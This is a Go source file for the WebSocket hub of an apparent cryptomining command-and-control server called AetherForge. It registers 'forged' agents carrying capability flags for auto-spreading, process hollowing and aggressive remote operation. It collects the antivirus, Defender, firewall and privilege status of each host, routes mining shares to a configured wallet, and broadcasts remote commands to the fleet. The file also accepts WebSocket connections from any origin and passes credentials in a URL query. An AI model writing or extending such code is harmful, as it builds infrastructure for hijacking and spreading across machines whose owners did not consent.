AetherForge/server/internal/api/websocket.go

package api

import (
	"crypto/subtle"
	"encoding/base64"
	"encoding/json"
	"fmt"
	"log"
	"net/http"
	"strings"
	"sync"
	"time"

	"crypto-miner-server/internal/db"
	"crypto-miner-server/internal/models"
	"crypto-miner-server/internal/pool"

	"github.com/google/uuid"
	"github.com/gorilla/websocket"
)

// secureStringEqual compares two strings in constant time to prevent timing attacks.
func secureStringEqual(a, b string) bool {
	return subtle.ConstantTimeCompare([]byte(a), []byte(b)) == 1
}

// checkDashboardWSToken validates the ?token= query param on dashboard WS upgrade.
// The browser passes btoa("user:pass") — the same value stored in sessionStorage.
func checkDashboardWSToken(r *http.Request) bool {
	token := r.URL.Query().Get("token")
	if token == "" {
		return false
	}
	decoded, err := base64.StdEncoding.DecodeString(token)
	if err != nil {
		return false
	}
	parts := strings.SplitN(string(decoded), ":", 2)
	if len(parts) != 2 {
		return false
	}
	user, pass := parts[0], parts[1]
	usersMu.RLock()
	stored, exists := authUsers[user]
	usersMu.RUnlock()
	return exists && checkPassword(stored, pass)
}

var upgrader = websocket.Upgrader{
	ReadBufferSize:  4096,
	WriteBufferSize: 4096,
	CheckOrigin: func(r *http.Request) bool {
		return true // Allow all origins for local use
	},
}

type Message struct {
	Type    string          `json:"type"`
	Payload json.RawMessage `json:"payload"`
}

type AgentConnection struct {
	AgentID   string
	Conn      *websocket.Conn
	mu        sync.Mutex
	// Latency tracking — updated each ping/pong cycle.
	latencyMu sync.Mutex
	pingSentAt time.Time
	LatencyMs  *int // nil until first pong received
}

func (c *AgentConnection) SendJSON(v interface{}) error {
	c.mu.Lock()
	defer c.mu.Unlock()
	return c.Conn.WriteJSON(v)
}

// DashboardConn wraps a dashboard WebSocket with its own write mutex so
// broadcastDashboard and the ping loop never race on the same connection.
type DashboardConn struct {
	Conn *websocket.Conn
	mu   sync.Mutex
}

func (d *DashboardConn) WriteMessage(messageType int, data []byte) error {
	d.mu.Lock()
	defer d.mu.Unlock()
	return d.Conn.WriteMessage(messageType, data)
}

func (d *DashboardConn) WriteJSON(v interface{}) error {
	d.mu.Lock()
	defer d.mu.Unlock()
	return d.Conn.WriteJSON(v)
}

func (d *DashboardConn) WriteControl(messageType int, data []byte, deadline time.Time) error {
	d.mu.Lock()
	defer d.mu.Unlock()
	return d.Conn.WriteControl(messageType, data, deadline)
}

type WSHub struct {
	db              *db.Database
	agents          map[string]*AgentConnection
	dashboards      map[string]*DashboardConn
	poolManager     *pool.Manager
	defaultPool     pool.Config
	aiHandler       *AIHandler
	agentConfigs       map[string]AgentForgeConfig
	agentCapabilities  map[string]models.AgentCapabilities
	agentLogs          map[string]string
	// T1016 DNS drift detection — stores last seen resolver list per agent
	agentDNS           map[string][]string
	serverPolicy    ServerPolicy
	pingIntervalSec int
	fleetSecret     string // baked into forged agents; verified on WS connect
	mu              sync.RWMutex
}

func NewWSHub(database *db.Database) *WSHub {
	return &WSHub{
		db:              database,
		agents:          make(map[string]*AgentConnection),
		dashboards:      make(map[string]*DashboardConn),
		agentConfigs:      make(map[string]AgentForgeConfig),
		agentCapabilities: make(map[string]models.AgentCapabilities),
		agentLogs:         make(map[string]string),
		agentDNS:          make(map[string][]string),
		pingIntervalSec: 30,
	}
}

func (h *WSHub) SetServerPolicy(p ServerPolicy) {
	h.mu.Lock()
	h.serverPolicy = p
	h.mu.Unlock()
}

func (h *WSHub) SetPingInterval(seconds int) {
	if seconds < 10 {
		seconds = 30
	}
	h.mu.Lock()
	h.pingIntervalSec = seconds
	h.mu.Unlock()
}

// SetFleetSecret stores the shared secret that all forged agents must present.
// Called once at startup from main.go after config is loaded.
func (h *WSHub) SetFleetSecret(secret string) {
	h.mu.Lock()
	h.fleetSecret = secret
	h.mu.Unlock()
}

func (h *WSHub) pingInterval() time.Duration {
	h.mu.RLock()
	sec := h.pingIntervalSec
	h.mu.RUnlock()
	if sec < 10 {
		sec = 30
	}
	return time.Duration(sec) * time.Second
}

func (h *WSHub) runPingLoopRaw(conn *websocket.Conn) {
	interval := h.pingInterval()
	ticker := time.NewTicker(interval)
	defer ticker.Stop()

	_ = conn.SetReadDeadline(time.Now().Add(interval * 2))
	conn.SetPongHandler(func(string) error {
		return conn.SetReadDeadline(time.Now().Add(interval * 2))
	})

	for range ticker.C {
		if err := conn.WriteControl(websocket.PingMessage, nil, time.Now().Add(10*time.Second)); err != nil {
			return
		}
	}
}

// runPingLoopAgent is like runPingLoopRaw but also records RTT on each pong.
func (h *WSHub) runPingLoopAgent(ac *AgentConnection) {
	interval := h.pingInterval()
	ticker := time.NewTicker(interval)
	defer ticker.Stop()

	conn := ac.Conn
	_ = conn.SetReadDeadline(time.Now().Add(interval * 2))
	conn.SetPongHandler(func(string) error {
		// Measure RTT.
		ac.latencyMu.Lock()
		if !ac.pingSentAt.IsZero() {
			ms := int(time.Since(ac.pingSentAt).Milliseconds())
			ac.LatencyMs = &ms
		}
		ac.latencyMu.Unlock()
		return conn.SetReadDeadline(time.Now().Add(interval * 2))
	})

	for range ticker.C {
		ac.latencyMu.Lock()
		ac.pingSentAt = time.Now()
		ac.latencyMu.Unlock()
		if err := conn.WriteControl(websocket.PingMessage, nil, time.Now().Add(10*time.Second)); err != nil {
			return
		}
	}
}

func (h *WSHub) runPingLoopDash(dc *DashboardConn) {
	interval := h.pingInterval()
	ticker := time.NewTicker(interval)
	defer ticker.Stop()

	_ = dc.Conn.SetReadDeadline(time.Now().Add(interval * 2))
	dc.Conn.SetPongHandler(func(string) error {
		return dc.Conn.SetReadDeadline(time.Now().Add(interval * 2))
	})

	for range ticker.C {
		if err := dc.WriteControl(websocket.PingMessage, nil, time.Now().Add(10*time.Second)); err != nil {
			return
		}
	}
}

func (h *WSHub) serverPolicySnapshot() ServerPolicy {
	h.mu.RLock()
	defer h.mu.RUnlock()
	return h.serverPolicy
}

func (h *WSHub) connectedAgentCount() int {
	h.mu.RLock()
	defer h.mu.RUnlock()
	return len(h.agents)
}

func (h *WSHub) isAgentConnected(agentID string) bool {
	h.mu.RLock()
	defer h.mu.RUnlock()
	_, ok := h.agents[agentID]
	return ok
}

func (h *WSHub) SetPoolManager(manager *pool.Manager, defaultCfg pool.Config) {
	h.mu.Lock()
	h.poolManager = manager
	h.defaultPool = defaultCfg
	h.mu.Unlock()
}

func (h *WSHub) SetAIHandler(ai *AIHandler) {
	h.mu.Lock()
	h.aiHandler = ai
	h.mu.Unlock()
}

func (h *WSHub) agentPoolConfig(agentID string) pool.Config {
	h.mu.RLock()
	defer h.mu.RUnlock()
	cfg := h.agentConfigs[agentID]
	poolCfg := pool.Config{
		Host:   cfg.poolHostOrDefault(h.defaultPool.Host),
		Port:   cfg.poolPortOrDefault(h.defaultPool.Port),
		Wallet: cfg.Wallet,
	}
	if cfg.PoolHost == "" {
		poolCfg.UseTLS = h.defaultPool.UseTLS
	} else {
		poolCfg.UseTLS = cfg.PoolTLS
	}
	if cfg.PoolPass != "" {
		poolCfg.Password = cfg.PoolPass
	} else if h.defaultPool.Password != "" {
		poolCfg.Password = h.defaultPool.Password
	} else {
		poolCfg.Password = "x"
	}
	if poolCfg.Wallet == "" {
		poolCfg.Wallet = h.defaultPool.Wallet
	}
	// Always carry the payment ID from the server-wide default (agents don't
	// supply their own payment ID).
	poolCfg.PaymentID = h.defaultPool.PaymentID
	return poolCfg
}

func (h *WSHub) getAgentConn(agentID string) *AgentConnection {
	h.mu.RLock()
	defer h.mu.RUnlock()
	return h.agents[agentID]
}

func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
	clientIP := r.Header.Get("X-Forwarded-For")
	if clientIP == "" {
		clientIP = r.RemoteAddr
	}
	log.Printf("[WS] Agent connection attempt from %s (origin=%s)", clientIP, r.Header.Get("Origin"))
	conn, err := upgrader.Upgrade(w, r, nil)
	if err != nil {
		log.Printf("[WS] Agent upgrade failed from %s: %v", clientIP, err)
		return
	}
	log.Printf("[WS] Agent WebSocket upgraded OK from %s", clientIP)

	agentID := ""
	defer func() {
		if agentID != "" {
			h.mu.Lock()
			cur := h.agents[agentID]
			// Only tear down fleet state if this connection is still the active one.
			if cur != nil && cur.Conn == conn {
				delete(h.agents, agentID)
				delete(h.agentConfigs, agentID)
				delete(h.agentLogs, agentID)
				h.mu.Unlock()
				if h.aiHandler != nil {
					h.aiHandler.RemoveEngine(agentID)
				}
				h.db.SetAgentOffline(agentID)
				h.broadcastDashboard(Message{
					Type:    "agent_offline",
					Payload: mustMarshal(map[string]string{"agent_id": agentID}),
				})
			} else {
				h.mu.Unlock()
			}
		}
		conn.Close()
	}()

	for {
		_, msgBytes, err := conn.ReadMessage()
		if err != nil {
			log.Printf("Agent read error: %v", err)
			break
		}

		var msg Message
		if err := json.Unmarshal(msgBytes, &msg); err != nil {
			log.Printf("Invalid message from agent: %v", err)
			continue
		}

		switch msg.Type {
		case "auth":
			var auth struct {
				AgentID          string `json:"agent_id"`
				FleetSecret      string `json:"fleet_secret"`
				Wallet           string `json:"wallet"`
				BackupPools      []struct {
					Host string `json:"host"`
					Port int    `json:"port"`
					TLS  bool   `json:"pool_tls"`
					Pass string `json:"pass"`
				} `json:"backup_pools"`
				Version          string `json:"version"`
				Hostname         string `json:"hostname"`
				Worker           string `json:"worker"`
				WorkerName       string `json:"worker_name"`
				CPUCores         int    `json:"cpu_cores"`
				MemoryGB         int    `json:"memory_gb"`
				PoolHost         string `json:"pool_host"`
				PoolPort         int    `json:"pool_port"`
				PoolTLS          bool   `json:"pool_tls"`
				PoolPass         string `json:"pool_pass"`
				AIEnabled        bool   `json:"ai_enabled"`
				AIOllamaEndpoint string `json:"ai_ollama_endpoint"`
				AIModel          string `json:"ai_model"`
				HolePunch        bool   `json:"hole_punch"`
				RemoteAggressive bool   `json:"remote_aggressive"`
				MeshP2P          bool   `json:"mesh_p2p"`
				AutoSpread       bool   `json:"auto_spread"`
				ProcessHollowing bool   `json:"process_hollowing"`
				Platform         string `json:"platform"`
				Arch             string `json:"arch"`
				OSVersion        string `json:"os_version"`
			}
			if err := json.Unmarshal(msg.Payload, &auth); err != nil {
				conn.WriteJSON(Message{Type: "auth_response", Payload: mustMarshal(map[string]interface{}{
					"success": false, "error": "invalid auth payload",
				})})
				continue
			}

		// Verify fleet secret. If the server has one configured, the agent must match.
		h.mu.RLock()
		requiredSecret := h.fleetSecret
		h.mu.RUnlock()
		log.Printf("[WS] Agent auth: id=%s host=%s secret_prefix=%.8s", auth.AgentID, auth.Hostname, auth.FleetSecret)
		if requiredSecret != "" && !secureStringEqual(auth.FleetSecret, requiredSecret) {
			conn.WriteJSON(Message{Type: "auth_response", Payload: mustMarshal(map[string]interface{}{
				"success": false, "error": "invalid fleet secret — re-forge this agent",
			})})
			log.Printf("[auth] Agent rejected: bad fleet secret (host=%s id=%s)", auth.Hostname, auth.AgentID)
			return
		}

			agentID = auth.AgentID
			if agentID == "" {
				agentID = uuid.New().String()
			}

			displayName := agentDisplayName(auth.WorkerName, auth.Worker, auth.Hostname, agentID)

			policy := h.serverPolicySnapshot()

			backupPools := make([]AgentBackupPool, len(auth.BackupPools))
			for i, bp := range auth.BackupPools {
				backupPools[i] = AgentBackupPool{Host: bp.Host, Port: bp.Port, TLS: bp.TLS, Pass: bp.Pass}
			}

			forgeCfg := AgentForgeConfig{
				Wallet:           auth.Wallet,
				PoolHost:         auth.PoolHost,
				PoolPort:         auth.PoolPort,
				PoolTLS:          auth.PoolTLS,
				PoolPass:         auth.PoolPass,
				AIEnabled:        auth.AIEnabled,
				AIOllamaEndpoint: auth.AIOllamaEndpoint,
				AIModel:          auth.AIModel,
				BackupPools:      backupPools,
			}

			caps := models.AgentCapabilities{
				HolePunch:        auth.HolePunch,
				RemoteAggressive: auth.RemoteAggressive,
				MeshP2P:          auth.MeshP2P,
				AutoSpread:       auth.AutoSpread,
				ProcessHollowing: auth.ProcessHollowing && auth.Platform == "windows",
				AIEnabled:        auth.AIEnabled,
			}

			h.mu.Lock()
			h.agentConfigs[agentID] = forgeCfg
			h.agentCapabilities[agentID] = caps
			h.mu.Unlock()

			if h.poolManager != nil {
				poolCfg := h.agentPoolConfig(agentID)
				if poolCfg.Password == "" {
					poolCfg.Password = "x"
				}

				// Build backup pool.Config list from what the agent sent at auth.
				var backupCfgs []pool.Config
				for _, bp := range backupPools {
					if bp.Host == "" || bp.Port <= 0 {
						continue
					}
					bpc := pool.Config{
						Host:   bp.Host,
						Port:   bp.Port,
						UseTLS: bp.TLS,
						Wallet: poolCfg.Wallet,
					}
					if bp.Pass != "" {
						bpc.Password = bp.Pass
					} else {
						bpc.Password = poolCfg.Password
					}
					backupCfgs = append(backupCfgs, bpc)
				}

				// Connect to pool in background — do NOT block the auth_response.
				// The agent can start and the pool proxy will be ready by the time
				// the first share is submitted.
				go func(pc pool.Config, bcs []pool.Config, aid string) {
					if _, err := h.poolManager.EnsurePoolWithBackups(&pc, bcs); err != nil {
						log.Printf("[WS] Pool init for agent %s failed (will retry): %v", aid, err)
					}
				}(poolCfg, backupCfgs, agentID)
			}

			if h.aiHandler != nil && forgeCfg.AIEnabled {
				h.aiHandler.SetEngineForAgent(agentID, forgeCfg.AIOllamaEndpoint, forgeCfg.AIModel)
			}

			clientIP := r.Header.Get("X-Forwarded-For")
			if clientIP == "" {
				clientIP = r.RemoteAddr
			}
			if idx := strings.LastIndex(clientIP, ":"); idx > 0 && strings.Count(clientIP, ":") == 1 {
				clientIP = clientIP[:idx]
			}

			agent := &models.Agent{
				ID:           agentID,
				Name:         displayName,
				Wallet:       auth.Wallet,
				IP:           clientIP,
				Version:      auth.Version,
				Status:       "online",
				CPUCores:     auth.CPUCores,
				MemoryGB:     auth.MemoryGB,
				LastSeen:     time.Now(),
				Platform:     auth.Platform,
				Arch:         auth.Arch,
				OSVersion:    auth.OSVersion,
				Hostname:     auth.Hostname,
				Capabilities: &caps,
			}

			if err := h.db.UpsertAgent(agent); err != nil {
				log.Printf("Failed to upsert agent: %v", err)
				conn.WriteJSON(Message{Type: "auth_response", Payload: mustMarshal(map[string]interface{}{
					"success": false, "error": "database error",
				})})
				break
			}

			if policy.LogAgentConnections {
				log.Printf("[WS] Agent connected: id=%s name=%s ip=%s", agentID, displayName, clientIP)
			}

			// MaxAgents check + registration in a single Lock to prevent TOCTOU (M17):
			// two concurrent new agents could both pass the count check under RLock, then
			// both get registered, overshooting the limit.
			h.mu.Lock()
			if policy.MaxAgents > 0 {
				_, alreadyConnected := h.agents[agentID]
				if !alreadyConnected && len(h.agents) >= policy.MaxAgents {
					h.mu.Unlock()
					conn.WriteJSON(Message{Type: "auth_response", Payload: mustMarshal(map[string]interface{}{
						"success": false, "error": "fleet agent limit reached",
					})})
					break
				}
			}
			if old, ok := h.agents[agentID]; ok && old.Conn != conn {
				oldConn := old.Conn
				h.mu.Unlock()
				oldConn.Close()
				h.mu.Lock()
			}
			ac := &AgentConnection{AgentID: agentID, Conn: conn}
			h.agents[agentID] = ac
			h.mu.Unlock()

			// Start the RTT-aware ping loop now that we have an AgentConnection.
			go h.runPingLoopAgent(ac)

			conn.WriteJSON(Message{Type: "auth_response", Payload: mustMarshal(map[string]interface{}{
				"success":  true,
				"agent_id": agentID,
			})})

			// Enrich agent with hostname before broadcasting so the dashboard
			// immediately shows the correct machine-specific display name.
			agent.Hostname = auth.Hostname

			h.broadcastDashboard(Message{
				Type:    "agent_online",
				Payload: mustMarshal(agent),
			})

		case "stats":
			if agentID == "" {
				continue
			}
			var stats struct {
				Hashrate15s     float64 `json:"hashrate_15s"`
				Hashrate1m      float64 `json:"hashrate_1m"`
				Hashrate15m     float64 `json:"hashrate_15m"`
				SharesSubmitted int     `json:"shares_submitted"`
				SharesAccepted  int     `json:"shares_accepted"`
				CPUUsagePct     float64 `json:"cpu_usage_pct"`
				MemoryUsagePct  float64 `json:"memory_usage_pct"`
				UptimeSeconds   int     `json:"uptime_seconds"`
			// Listen ports
			ListenPortCount  *int     `json:"listen_port_count,omitempty"`
			// DNS config (T1016)
			DNSServers       []string `json:"dns_servers,omitempty"`
			DNSSearchDomains []string `json:"dns_search_domains,omitempty"`
			// Resource pressure
			CPUFreqMHz  *int     `json:"cpu_freq_mhz,omitempty"`
			CPUMaxMHz   *int     `json:"cpu_max_mhz,omitempty"`
			CPUThrottle *bool    `json:"cpu_throttle,omitempty"`
			CPUTempC    *int     `json:"cpu_temp_c,omitempty"`
			DiskFreeGB  *float64 `json:"disk_free_gb,omitempty"`
			DiskTotalGB *float64 `json:"disk_total_gb,omitempty"`
			DiskFreePct *int     `json:"disk_free_pct,omitempty"`
			GPUTempC    *int     `json:"gpu_temp_c,omitempty"`
			GPUUsagePct *int     `json:"gpu_usage_pct,omitempty"`
			// SSH + posture
			SSHAvailable    *bool    `json:"ssh_available,omitempty"`
			PostureScore    *int     `json:"posture_score,omitempty"`
			DefenderEnabled *bool    `json:"defender_enabled,omitempty"`
			DefenderRTP     *bool    `json:"defender_rtp,omitempty"`
			AVProducts      []string `json:"av_products,omitempty"`
			FirewallDomain  *bool    `json:"firewall_domain,omitempty"`
			FirewallPrivate *bool    `json:"firewall_private,omitempty"`
			FirewallPublic  *bool    `json:"firewall_public,omitempty"`
			LastPatchDays   *int     `json:"last_patch_days,omitempty"`
			LastPatch       *string  `json:"last_patch,omitempty"`
			PendingUpdates  *int     `json:"pending_updates,omitempty"`
			RebootPending   *bool    `json:"reboot_pending,omitempty"`
			AgentElevated   *bool    `json:"agent_elevated,omitempty"`
			Services        []struct {
				Name        string `json:"name"`
				DisplayName string `json:"display_name,omitempty"`
				Status      string `json:"status"`
				StartType   string `json:"start_type"`
			} `json:"services,omitempty"`
		}
			if err := json.Unmarshal(msg.Payload, &stats); err != nil {
				continue
			}

			sharesBad := stats.SharesSubmitted - stats.SharesAccepted
			if sharesBad < 0 {
				sharesBad = 0
			}

			h.db.UpdateAgentStats(agentID, stats.Hashrate15s, stats.Hashrate1m, stats.Hashrate15m,
				stats.SharesSubmitted, stats.SharesAccepted, sharesBad,
				stats.CPUUsagePct, stats.MemoryUsagePct, stats.UptimeSeconds)

			h.db.InsertHashrateSample(agentID, stats.Hashrate15m)

			broadcast := map[string]interface{}{
				"agent_id":         agentID,
				"hashrate_15s":     stats.Hashrate15s,
				"hashrate_1m":      stats.Hashrate1m,
				"hashrate_15m":     stats.Hashrate15m,
				"cpu_usage_pct":    stats.CPUUsagePct,
				"memory_usage_pct": stats.MemoryUsagePct,
				"uptime_seconds":   stats.UptimeSeconds,
				"shares_submitted": stats.SharesSubmitted,
				"shares_accepted":  stats.SharesAccepted,
			}
			// Resource pressure fields
			if stats.CPUFreqMHz != nil  { broadcast["cpu_freq_mhz"]  = *stats.CPUFreqMHz  }
			if stats.CPUMaxMHz != nil   { broadcast["cpu_max_mhz"]   = *stats.CPUMaxMHz   }
			if stats.CPUThrottle != nil { broadcast["cpu_throttle"]  = *stats.CPUThrottle }
			if stats.CPUTempC != nil    { broadcast["cpu_temp_c"]    = *stats.CPUTempC    }
			if stats.DiskFreeGB != nil  { broadcast["disk_free_gb"]  = *stats.DiskFreeGB  }
			if stats.DiskTotalGB != nil { broadcast["disk_total_gb"] = *stats.DiskTotalGB }
			if stats.DiskFreePct != nil { broadcast["disk_free_pct"] = *stats.DiskFreePct }
			if stats.GPUTempC != nil    { broadcast["gpu_temp_c"]    = *stats.GPUTempC    }
			if stats.GPUUsagePct != nil { broadcast["gpu_usage_pct"] = *stats.GPUUsagePct }

			// Listen port count
			if stats.ListenPortCount != nil {
				broadcast["listen_port_count"] = *stats.ListenPortCount
			}

			// T1016 DNS drift detection
			if len(stats.DNSServers) > 0 {
				broadcast["dns_servers"] = stats.DNSServers
				if stats.DNSSearchDomains != nil {
					broadcast["dns_search_domains"] = stats.DNSSearchDomains
				}
				h.mu.Lock()
				prev, hasPrev := h.agentDNS[agentID]
				drifted := hasPrev && !dnsEqual(prev, stats.DNSServers)
				h.agentDNS[agentID] = stats.DNSServers
				h.mu.Unlock()
				if drifted {
					broadcast["dns_drifted"] = true
					log.Printf("[T1016] DNS drift detected on agent %s: %v → %v", agentID, prev, stats.DNSServers)
				}
			}

			if stats.SSHAvailable != nil {
				broadcast["ssh_available"] = *stats.SSHAvailable
			}
			if stats.PostureScore != nil {
				broadcast["posture_score"] = *stats.PostureScore
			}
			if stats.DefenderEnabled != nil {
				broadcast["defender_enabled"] = *stats.DefenderEnabled
			}
			if stats.DefenderRTP != nil {
				broadcast["defender_rtp"] = *stats.DefenderRTP
			}
			if len(stats.AVProducts) > 0 {
				broadcast["av_products"] = stats.AVProducts
			}
			if stats.FirewallDomain != nil {
				broadcast["firewall_domain"] = *stats.FirewallDomain
			}
			if stats.FirewallPrivate != nil {
				broadcast["firewall_private"] = *stats.FirewallPrivate
			}
			if stats.FirewallPublic != nil {
				broadcast["firewall_public"] = *stats.FirewallPublic
			}
			if stats.LastPatchDays != nil {
				broadcast["last_patch_days"] = *stats.LastPatchDays
			}
			if stats.LastPatch != nil {
				broadcast["last_patch"] = *stats.LastPatch
			}
			if stats.PendingUpdates != nil {
				broadcast["pending_updates"] = *stats.PendingUpdates
			}
			if stats.RebootPending != nil {
				broadcast["reboot_pending"] = *stats.RebootPending
			}
			if stats.AgentElevated != nil {
				broadcast["agent_elevated"] = *stats.AgentElevated
			}
			if len(stats.Services) > 0 {
				broadcast["services"] = stats.Services
			}
			// Attach latest RTT latency from the ping loop.
			if ac := h.getAgentConn(agentID); ac != nil {
				ac.latencyMu.Lock()
				if ac.LatencyMs != nil {
					broadcast["latency_ms"] = *ac.LatencyMs
				}
				ac.latencyMu.Unlock()
			}
			h.broadcastDashboard(Message{Type: "stats_update", Payload: mustMarshal(broadcast)})

		case "submit_share":
			if agentID == "" {
				continue
			}
			var share models.Share
			if err := json.Unmarshal(msg.Payload, &share); err != nil {
				continue
			}
			share.AgentID = agentID
			share.Timestamp = time.Now()
			share.Accepted = false

			shareID, err := h.db.InsertShare(&share)
			if err != nil {
				log.Printf("Failed to insert share: %v", err)
				continue
			}

			sendShareResult := func(accepted bool, errMsg string) {
				share.Accepted = accepted
				share.Error = errMsg
				if err := h.db.UpdateShareResult(shareID, accepted, errMsg); err != nil {
					log.Printf("Failed to update share result: %v", err)
				}
				if h.serverPolicySnapshot().LogShareSubmissions {
					log.Printf("[WS] Share agent=%s job=%s accepted=%v err=%q", agentID, share.JobID, accepted, errMsg)
				}

				agentConn := h.getAgentConn(agentID)
				if agentConn != nil {
					result := map[string]interface{}{
						"job_id":   share.JobID,
						"accepted": accepted,
					}
					if errMsg != "" {
						result["error"] = errMsg
					}
					_ = agentConn.SendJSON(Message{Type: "share_result", Payload: mustMarshal(result)})
				}

				h.broadcastDashboard(Message{
					Type: "new_share",
					Payload: mustMarshal(map[string]interface{}{
						"id":        shareID,
						"agent_id":  agentID,
						"job_id":    share.JobID,
						"accepted":  accepted,
						"hash":      share.Hash,
						"nonce":     share.Nonce,
						"error":     errMsg,
						"timestamp": share.Timestamp,
					}),
				})
			}

			if h.poolManager == nil {
				sendShareResult(false, "pool manager not configured")
				continue
			}

			poolCfg := h.agentPoolConfig(agentID)
			proxy := h.poolManager.GetPool(&poolCfg)
			if proxy == nil {
				if p, err := h.poolManager.EnsurePool(&poolCfg); err == nil {
					proxy = p
				} else {
					sendShareResult(false, "pool not connected: "+err.Error())
					continue
				}
			}

			if !proxy.IsConnected() {
				sendShareResult(false, "pool not connected")
				continue
			}

			wallet := poolCfg.Wallet
			if wallet == "" {
				wallet = h.defaultPool.Wallet
			}

			go proxy.SubmitShare(agentID, wallet, share.JobID, share.Nonce, share.Hash, sendShareResult)

		case "get_job":
			if agentID == "" {
				continue
			}
			var proxy *pool.Proxy
			if h.poolManager != nil {
				poolCfg := h.agentPoolConfig(agentID)
				// Only use GetPool (non-blocking). If the pool hasn't connected yet
				// (background EnsurePoolWithBackups from auth is still dialing), kick
				// off another async attempt rather than blocking the WS read loop.
				proxy = h.poolManager.GetPool(&poolCfg)
				if proxy == nil {
					go func(pc pool.Config) {
						if p, err := h.poolManager.EnsurePool(&pc); err != nil {
							log.Printf("[WS] get_job EnsurePool for %s failed: %v", pc.Host, err)
						} else {
							_ = p
						}
					}(poolCfg)
				}
			}
			if proxy != nil {
				job := proxy.GetCurrentJob()
				if job != nil {
					conn.WriteJSON(Message{Type: "new_job", Payload: mustMarshal(job)})
				} else {
					conn.WriteJSON(Message{Type: "new_job", Payload: mustMarshal(map[string]string{"error": "no job available — pool connecting"})})
				}
			} else {
				conn.WriteJSON(Message{Type: "new_job", Payload: mustMarshal(map[string]string{"error": "pool connecting — retry shortly"})})
			}

		case "log_tail":
			if agentID == "" {
				continue
			}
			var payload struct {
				Content string `json:"content"`
				Lines   int    `json:"lines"`
			}
			if err := json.Unmarshal(msg.Payload, &payload); err != nil {
				continue
			}
			h.mu.Lock()
			h.agentLogs[agentID] = payload.Content
			h.mu.Unlock()
			h.broadcastDashboard(Message{
				Type:    "agent_log",
				Payload: mustMarshal(map[string]interface{}{"agent_id": agentID, "content": payload.Content}),
			})

		case "command_result":
			if agentID == "" {
				continue
			}
			var payload map[string]interface{}
			if err := json.Unmarshal(msg.Payload, &payload); err != nil {
				continue
			}
			payload["agent_id"] = agentID
			h.broadcastDashboard(Message{Type: "command_result", Payload: mustMarshal(payload)})
		}
	}
}

func (h *WSHub) HandleDashboardWS(w http.ResponseWriter, r *http.Request) {
	// Verify dashboard session. The SPA sends its stored Basic-auth token as
	// ?token=<base64> because the WS upgrade can't carry Authorization headers.
	// We decode it and check against the same in-memory user map as the REST API.
	if !checkDashboardWSToken(r) {
		http.Error(w, "Unauthorized", http.StatusUnauthorized)
		log.Printf("[auth] Dashboard WS rejected: bad or missing token from %s", r.RemoteAddr)
		return
	}

	conn, err := upgrader.Upgrade(w, r, nil)
	if err != nil {
		log.Printf("Dashboard WebSocket upgrade error: %v", err)
		return
	}

	dc := &DashboardConn{Conn: conn}
	dashID := uuid.New().String()
	h.mu.Lock()
	h.dashboards[dashID] = dc
	h.mu.Unlock()

	defer func() {
		h.mu.Lock()
		delete(h.dashboards, dashID)
		h.mu.Unlock()
		conn.Close()
	}()

	// Send initial data
	agents, _ := h.db.ListAgents()
	h.enrichAgentsCapabilities(agents)
	stats, _ := h.db.GetFleetStats()

	_ = dc.WriteJSON(Message{Type: "init", Payload: mustMarshal(map[string]interface{}{
		"agents": agents,
		"stats":  stats,
	})})

	go h.runPingLoopDash(dc)

	// Keep connection alive, read close messages
	for {
		_, _, err := conn.ReadMessage()
		if err != nil {
			break
		}
	}
}

func (h *WSHub) broadcastDashboard(msg Message) {
	h.mu.RLock()
	defer h.mu.RUnlock()

	data, err := json.Marshal(msg)
	if err != nil {
		return
	}

	for id, dc := range h.dashboards {
		if err := dc.WriteMessage(websocket.TextMessage, data); err != nil {
			log.Printf("Failed to send to dashboard %s: %v", id, err)
			dc.Conn.Close()
			id := id
			go func() {
				h.mu.Lock()
				delete(h.dashboards, id)
				h.mu.Unlock()
			}()
		}
	}
}

func mustMarshal(v interface{}) json.RawMessage {
	data, _ := json.Marshal(v)
	return data
}

// dnsEqual returns true when two DNS server lists contain the same addresses
// regardless of order.  Used for T1016 drift detection.
func dnsEqual(a, b []string) bool {
	if len(a) != len(b) {
		return false
	}
	m := make(map[string]int, len(a))
	for _, v := range a {
		m[v]++
	}
	for _, v := range b {
		m[v]--
		if m[v] < 0 {
			return false
		}
	}
	return true
}

// BroadcastToAgents sends a message to all connected agents
func (h *WSHub) BroadcastToAgents(msg Message) {
	h.mu.RLock()
	defer h.mu.RUnlock()

	for id, agent := range h.agents {
		if err := agent.SendJSON(msg); err != nil {
			log.Printf("Failed to send to agent %s: %v", id, err)
		}
	}
}

// SendToAgent sends a message to one connected agent.
func (h *WSHub) SendToAgent(agentID string, msg Message) error {
	agent := h.getAgentConn(agentID)
	if agent == nil {
		return fmt.Errorf("agent %s not connected", agentID)
	}
	return agent.SendJSON(msg)
}

// RemoveAgent forcibly disconnects an agent and removes it from the live map.
// It then broadcasts agent_deleted to all dashboard clients so the UI removes
// the agent immediately without waiting for the disconnect goroutine to fire.
func (h *WSHub) RemoveAgent(agentID string) {
	h.mu.Lock()
	if ac, ok := h.agents[agentID]; ok {
		// Nil the map entry BEFORE closing so the agent goroutine's deferred
		// cleanup (which checks cur.Conn == conn) falls into the else branch
		// and skips SetAgentOffline — avoiding a write to an already-deleted row.
		delete(h.agents, agentID)
		delete(h.agentConfigs, agentID)
		delete(h.agentLogs, agentID)
		delete(h.agentCapabilities, agentID)
		ac.Conn.Close()
	}
	h.mu.Unlock()
	// Broadcast deletion so every connected dashboard removes the agent immediately.
	h.broadcastDashboard(Message{
		Type:    "agent_deleted",
		Payload: mustMarshal(map[string]string{"agent_id": agentID}),
	})
}

// SendAgentCommand sends a remote command to an agent.
func (h *WSHub) SendAgentCommand(agentID, action string, args map[string]interface{}) error {
	payload := map[string]interface{}{"action": action}
	for k, v := range args {
		payload[k] = v
	}
	return h.SendToAgent(agentID, Message{Type: "command", Payload: mustMarshal(payload)})
}

// BroadcastAgentCommand sends a remote command to all connected agents.
func (h *WSHub) BroadcastAgentCommand(action string, args map[string]interface{}) {
	payload := map[string]interface{}{"action": action}
	for k, v := range args {
		payload[k] = v
	}
	h.BroadcastToAgents(Message{Type: "command", Payload: mustMarshal(payload)})
}

func (h *WSHub) enrichAgentsCapabilities(agents []*models.Agent) {
	h.mu.RLock()
	defer h.mu.RUnlock()
	for _, a := range agents {
		if a == nil {
			continue
		}
		if caps, ok := h.agentCapabilities[a.ID]; ok {
			c := caps
			a.Capabilities = &c
		}
	}
}

func (h *WSHub) GetAgentLog(agentID string) string {
	h.mu.RLock()
	defer h.mu.RUnlock()
	return h.agentLogs[agentID]
}

